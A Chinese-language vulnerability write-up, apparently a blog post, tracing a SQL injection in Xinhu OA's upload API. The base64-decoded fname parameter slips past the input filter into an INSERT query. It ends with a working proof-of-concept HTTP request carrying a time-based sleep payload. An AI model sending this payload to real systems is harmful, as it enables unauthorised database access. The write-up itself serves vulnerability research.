信呼OA办公系统是一个开源的在线办公系统。 信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
>=V2.6.5
访问信呼相关产品下载_信呼 即可最新版本下载
然后使用phpstudy搭建
之后进入本地配置,输入自己的数据库密码、获取信呼官网key(需要登录)之后,点击直接提交
接着即可输入账号密码登录即可
在include/View.php
中详细介绍了路由的定义
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;//define('PROJECT', 'webmain');
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);
$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);//以|分割变量m
$m= $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//调用strformat进行格式化,其中?0、?1 等是占位符
$rand = date('YmdHis').rand(1000,9999);//随机值
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一个字符不是/且$d不是空就在$d后面加一个/
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目录/webmain/$d/$_m
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目录/webmain/$d/$_m/$mAction.php
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目录/webmain/$d/$_m/$_mAction.php
$actbstr = null;
//依次判断$actfile1以及$actfile哪个文件存在,哪个存在包含哪个
if(file_exists($actfile1))
include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();//创建一个与$m相关类的对象
$actname = ''.$a.'Action';//在$a后接一个Action
if($ajaxbool == 'true')//判断ajaxbool是否为true
$actname = ''.$a.'Ajax';//在$a后接一个Ajax
if(method_exists($xhrock, $actname)){//检测类中是否存在该方法
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}
$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.'/'.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}
根据上述的描述可以知道:路由会接收m
,d
,a
,ajaxbool
参数来定位一个页面的位置,m
表示某个php文件(不含Action),d
表示webmain
文件夹的下的目录,a
表示方法,ajaxbool
表示访问的是xxxAction方法还是xxxAjax方法
其中主要是对webmain目录下的内容进行访问
当ajaxbool
为false
时,是对xxxAction.php
的内容访问,当ajaxbool
为true
时,是对xxxAjax.php
的内容进行访问
例如:
http://127.0.0.1:81/xhoa/index.php?a=getmenu&m=index&d=&ajaxbool=true&rnd=956864&pid=38&loadci=1
指的是访问webmain/index/indexAction.php
下的getmenuAjax
方法
漏洞的位置在webmain/task/api/uploadAction.php中
我们进入该php文件的getmfilvAction()中
public function getmfilvAction()
{
$fileid = (int)$this->get('fileid','0');//通过get方法获取到fileid参数
$frs = m('file')->getone($fileid);//用去数据库中查询并将结果返回
if(!$frs)return returnerror('不存在');
$lujing = $frs['filepathout'];
if(isempt($lujing)){//查询文件路径是否为空
$lujing = $frs['filepath'];
//查看文件路径不是以http开头并且本地文件不存在
if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
}
$fileext = $frs['fileext'];//获取拓展名
$fname = $this->jm->base64decode($this->get('fname'));//获取到fname参数并进行base64decode方法进行base64解密
$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';//对fname进行非空判断
$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';//构建新的文件路径
$this->rock->createtxt($filepath, file_get_contents($lujing));//获取远程文件内容,并使用createtxt方法写入到新路径
//将一些文件的基本信息进行放入到变量uarr数组中
$uarr = array(
'filename' => $fname,
'fileext' => $fileext,
'filepath' => $filepath,
'filesize' => filesize($filepath),
'filesizecn' => $this->rock->formatsize(filesize($filepath)),
'optid' => $this->adminid,
'optname' => $this->adminname,
'adddt' => $this->rock->now,
'ip' => $this->rock->ip,
'web' => $this->rock->web,
);
$uarr['id'] = m('file')->insert($uarr);//调用insert方法进行数据库的插入,获取id值
return returnsuccess($uarr);//返回结果
}
分析:该方法中是处理文件下载和记录下载信息的功能,通过get
方法获取前端内容。在该方法中有两个可以控制的参数,一个是fileid
另一个是filename
,但是fileid
参数会进行类型转换为int类型存在注入几率几乎为零,其中filename还进行了base64解码操作,最后将两个参数的内容连同其他文件基本信息进行数据库的插入操作,在这个地方想要确定有sql注入需要确定get方法以及insert方法是否存在sql语句的过滤
接着进入到insert方法中,该方法首先会对传入的参数进行record方法的校验若不为false,那么就获取到其id值
接入到mysql.php中record方法
分析:
该方法首先是是对where参数进行非空判断,前面代码是将where
设置为空了,那么$addbool
就是false。接着就是判断$array
是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到$cont
字符串中并调用toaddval
方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables
设置表名,接着进入else语句,我们清晰的看到$sql
变量直接将$cont
语句拼接到了sql语句中
接着我们有必要去get方法中看看该方法对传入的内容有什么过滤,来到rockClass.php中
分析:这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤
我们回到这个类的头部发现,重新定义了__construct()魔术方法
分析:当我们创建一个rockClass
对象时,会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符,如果想要造成sql注入就必须在字符串中不出现这些敏感字符
通过以上分析发现这个fname
参数经过get
传参后会进行base64decode
方法进行base64解密,那么如果我们将filename传入恶意的sql语句进行base64编码,就会绕过rockClass.php
中的__construct
方法中的sql语句的过滤,之后进行base64解密又拼接到sql语句造成sql注入的形成
poc:
GET /xhoa/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw== HTTP/1.1
Host:
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Fetch-Dest: empty
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://127.0.0.1:81/xhoa/
Cookie: PHPSESSID=i5ikamdm9hso4724c57vn6h436; deviceid=1728559199539; xinhu\_mo\_adminid=pp0ke0kl0mfn0pw0ke0mfk0mmr0mfm0mfw0mlf0mfe0pp0ke0pe0mfo03; xinhu\_ca\_adminuser=admin; xinhu\_ca\_rempass=0
Sec-Fetch-Mode: cors
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Sec-Fetch-Site: same-origin
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
成功延时6秒
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!